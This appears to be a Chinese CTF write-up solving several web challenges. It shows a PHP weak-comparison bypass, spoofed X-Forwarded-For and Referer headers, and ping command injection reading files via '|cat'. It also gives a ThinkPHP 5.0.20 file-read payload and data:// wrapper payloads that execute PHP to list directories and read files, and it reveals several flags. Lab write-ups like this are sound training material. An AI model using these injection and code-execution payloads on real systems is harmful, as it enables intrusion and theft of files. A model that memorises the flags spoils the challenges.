先进行代码审计
发现包含了config.php
url接收参数a和b的值
如果$a等于0 and $a,输出$flag1
如果$b是数字或者字符串那么退出当前脚本
如果$b>1234,输出$flag2
所以,这里我们既要保证输出$a,$b,又要保证$b是数字,那么就用到php的弱类型比较了
所以payload为:?a=c&b=1235a
根据提示初始界面一般为:index.php
所以我们访问
发现会自动重定向到1.php说明有问题我们打开开发者工具中的网络看看
发现index.php确实存在接着我们就看到了flag
这题其实就是一个命令注入
我们在ping中127.0.0.1|ls../../../home/
会发现flag.txt
之后使用127.0.0.1|cat ../../../home/flag.txt
即可获得flag
这题需要进行地址伪造
x-forwarded-for:123.123.123.123
referer: https://www.google.com
这样我就拿到flag了
cyberpeace{61b912dbdbaf855ad97a58e603482f2b}
查看源代码发现有东西
我们将其分析后重写
在浏览器中打开即可获得flag
Cyberpeace{786OsErtk12}
我们访问
发现是ThinkPHP V5.0.20框架
我们使用检测工具进行检测
发现存在payload我们直接利用
http://61.147.171.105:62701/?s=index/\think\Lang/load&file=/flag
之后就发现了flag
这道题运用到了data://伪协议
Payload:?page=data://text/plain,<?php phpinfo()?>
echo $_SERVER['DOCUMENT_ROOT']; 先得到目录路径:
Payload:?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT'];?>
然后用<?php print_r(scandir('/var/www')); ?>读取当前目录文件
Payload: ?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>
看到 flag 文件了, 再用 file_get_contents 就可以读到里面的内容了:
<?php $a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars($a); ?>
Payload:?page=data://text/plain,<?php $a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars($a); ?>
最后得到flag